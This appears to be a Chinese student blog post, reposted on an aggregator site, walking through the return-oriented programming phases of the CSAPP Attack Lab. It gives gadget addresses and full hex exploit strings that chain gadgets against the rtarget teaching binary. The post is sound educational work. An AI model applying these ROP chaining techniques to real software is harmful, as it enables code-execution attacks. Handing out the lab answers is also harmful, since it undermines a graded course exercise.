当前位置: 代码迷 >> 综合 >> CSAPP Lab3实验记录 ---- Attack Lab(Rtarget)
  详细解决方案

CSAPP Lab3实验记录 ---- Attack Lab(Rtarget)

热度:66   发布时间:2023-11-17 16:57:27.0

文章目录

    • Lab 总结博客链接
    • 前引
    • Part II: Return-Oriented Programming
      • TEST 4
        • Advices + 所需机械码
        • TEST 4 实现思路分析
        • TEST 4 实现代码
        • TEST 4 PASS结果
      • TEST 5
        • Advices + 所需机械码
        • TEST 5 实现思路分析
        • TEST 5 实现代码
        • TEST 5 PASS结果
      • 结束语


Lab 总结博客链接


CSAPP Lab入门系统安装摸索 + Lab 博客链接


前引


刚刚才写完 实属不易 - - 但这个实验还是值得我花这么多时间去做 那废话少说 我们走起


Part II: Return-Oriented Programming


下面放一下官方文档的截图
在这里插入图片描述


那我这里还是说一下 这一部分Part和上面的区别吧 我们这里用了栈随机性禁止栈中使用命令 什么意思呢 栈随机性就导致我们栈的位置不再固定 也导致我们不能像上面一样 运行命令直接用栈中的确切位置就返回了 禁止栈中使用命令 意思是 如果我们的命令是在栈中的 即rip指向栈 则会报错(段错误)


我们这边给出了 解决办法 我们文中提供了非常多的小工具 举个例子

原函数
void setval_210(unsigned *p)
{
*p = 3347663060U;
}

反汇编得到结果
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq

关注上面的机器码单独截出来 48 89 c7 可翻译为movq %rax, %rdi. c3 可翻译为retq 我们函数可以通过跳转到指定地址(0x400f18) 完成movq %rax,%rdi retq的指令 通过类似的小指令 不断地跳转 我们就可以完成我们最后的目标

上面我对这部分也作了说明 相关的方法也讲了 那我们就直接进入实验了


TEST 4


Advices + 所需机械码


这部分的话 我们要完成的部分还是touch2 只不过是rtarget部分
下面是advises 如果已经有实现想法的把下面看了 就可以去做了 ^^ 没有的话就继续往下看

这里是我们后面实验需要用到的指令 对应的机器码
在这里插入图片描述


advices

? All the gadgets you need can be found in the region of the code for rtarget demarcated by the functions start_farm and mid_farm.
所有你需要的小工具都可以在代码区域找到由start_farm和mid_farm的功能划定。

? You can do this attack with just two gadgets.
只需两个小工具即可进行此攻击。

? When a gadget uses a popq instruction, it will pop data from the stack. As a result, your exploit string will contain a combination of gadget addresses and data.
当小工具使用 popq 指令时,它会从堆栈中弹出数据。因此,您的漏洞利用字符串将包含小工具地址和数据的组合。


TEST 4 实现思路分析


好了 这部分就开始讲实现思路了 我们首先需要popq rdi%rdi中存放着cookie 然后我们再利用retq返回到touch2即完成任务

但是没有那么直接 因为我们先去看看我们的工具部分机器码能不能提供我们相应功能 如果没有的话 我们就需要转折一下 曲线达成目的

那下面我们进入汇编中看看 这部分是我从rtarget.asm中截取出来的

在这里插入图片描述


通过搜索48 89 还有对于popq对应的机械码 找到了两个对这个实验有用的指令且有效的指令(不唯一)
对了 0xc3 = retq 0x90 = nop

popq %rax 58 0x4019a7
在这里插入图片描述


movq %rax,%rdi 0x4019c3
在这里插入图片描述


我们的思路是

popq %rax (%rax = 0x59b997fa) (location: 0x4019ab)
retq (jmp location: 0x4019c5)
movq %rax,%rdi (location: 0x4019c5)
retq (jmp location: touch2 4017ec)

最后reach touch2^^


TEST 4 实现代码


已经很清晰了 不能再写的详细点了 那我们直接给出我们的机械码

01 01 01 01 
01 01 01 01
01 01 01 01 
01 01 01 01
01 01 01 01
01 01 01 01 
01 01 01 01
01 01 01 01 
01 01 01 01
01 01 01 01
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00

TEST 4 PASS结果


最后老命令./hex2raw < hex1.txt | ./rtarget -q PASS啦~
在这里插入图片描述


TEST 5


Advices + 所需机械码


这部分的话 如果时间比较多 或者理解比较好的话 哈哈 这部分就可以尝试一下 这里的话我待会会给一点提示 给完提示做的话 比较好完成 ^^
这部分的话 是完成touch3的任务

再给一次对应的机器码
在这里插入图片描述


官方文档tips

? You’ll want to review the effect a movl instruction has on the upper 4 bytes of a register, as is described on page 183 of the text.
您需要查看 移动 指令对寄存器上 4 字节的影响,如文本第 183 页所述。

? The official solution requires eight gadgets (not all of which are unique).
官方解决方案需要八个小工具(并非所有小工具都是独一无二的)。

我的友情tips

? 实现需要用到现成lea指令 leaadd+mov指令相同作用**
? 注意字符串存储位置 思路和我们之前的TEST 3差不多
? 实现思路不难 只不过需要转几个弯得到最终目的

看完上面的tips了 就可以自己去实现了 ^^ 当时我也是想了半天 为什么没有add指令 之后看了点思路 发现还有lea也可以用 就做出来了
还是没有什么思路的hxd可以继续看下面的思路讲解了


TEST 5 实现思路分析


一样的 因为有了栈随机性 我们不能指定指针确切位置了 但是我们可以通过相对位置 + 栈顶的位置 先获取到栈顶的位置 然后加上我们放置距离栈顶的相对位置 即得

但是找可用的命令过程比较艰难 这部分的话 我先说一下我怎么想的

我们首先要获取栈顶的位置 那我们就看Source = rspmov指令机械码 看看有什么寄存器与其相关联 movl movq其实都差不多 只差一个开头的48 所以我们ctrl+F 我们就只需要管后面的部分

然后在发现movq %rsp,%rax可用时 则先找movq %rax,%rdi 因为我们最终需要%rdi 装字符串的指针开始地址 找到了 然后想想怎么定位栈顶字符串的地址呢

最上面的我的友情提示tips 说了lea命令可以起到add的作用 找到了lea (%rdi,%rsi,1),%rax 就发现rsi可以作相对位置偏移的量 这个偏移量由最终栈顶离字符串的相对偏移位置来确定 %rdi里面存%rsp刚开始的栈顶位置 可最开始由movq %rsp,%rax movq %rax,%rdi来得到 最后的偏移位置在%rax中 我们只需要把movq %rax,%rdi即完成了最后这个Phase了

但是现在问题在 我们怎么把偏移量放到%rsi里面呢 pop %rsi找不到这个机械码 我们只能逆向思维 找找与mov %rsi相关的命令了

刚开始只搜索出了movl %ecx,$esi 问题就来到了怎么把%eax%ecx起到联系 因为只有%rax是可以pop的 可以指定值的 之后又逆向寻找movl %ecx

最后一直这样逆向寻找 最后发现%eax -> %edx -> %ecx -> %esi 这样转换值就可以了 整体思路就在上面了


这里就放一下加上指令的整体思路图了 放了后面就直接放代码了 讲的很仔细了

movq %rsp,%rax 0x401a03
movq %rax,%rdi 0x4019c3
popq rax 0x4019ca

%eax -> %edx -> %ecx -> %esi
movq %eax,%edx 0x4019db
movq %edx,%ecx 0x401a68
movq %ecx,%esi 0x401a11

lea %rdi + %rsi* 1, %rax 0x4019d6
movq %rax,%rdi 0x4019c3


TEST 5 实现代码


这里就直接放代码咯
特别解释一下为什么 相对偏移量为0x48而不是10行8字节 0x50 因为刚开始的第一个是返回地址 - - rsp从第一条开始才转移值的

01 01 01 01 
01 01 01 01
01 01 01 01 
01 01 01 01
01 01 01 01
01 01 01 01 
01 01 01 01
01 01 01 01 
01 01 01 01
01 01 01 01
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00

TEST 5 PASS结果


最后老命令了 ./hex2raw < hex1.txt | ./rtarget -q 终于PASS啦 太不容易了 大概ctarget 3 rtarget 1 2写了一下午+一晚上 当然包括了写博客的时间啦 还是挺好玩的 哈哈 ^^ 做完之后还是心里面不得不佩服老美的老师们 花了大量的时间 做了这些精品Lab 真的很提升能力啊 真的很佩服 我们国家计算机还有很长的路要走啊

在这里插入图片描述


结束语


现在已经晚上10点了 待会还得去抄英语作业 明天早上8点的英语早课 该应付的还是得应付啊 呜呜 发完这篇博客就休息了 IT人还是很累的 各位早点休息~

  相关解决方案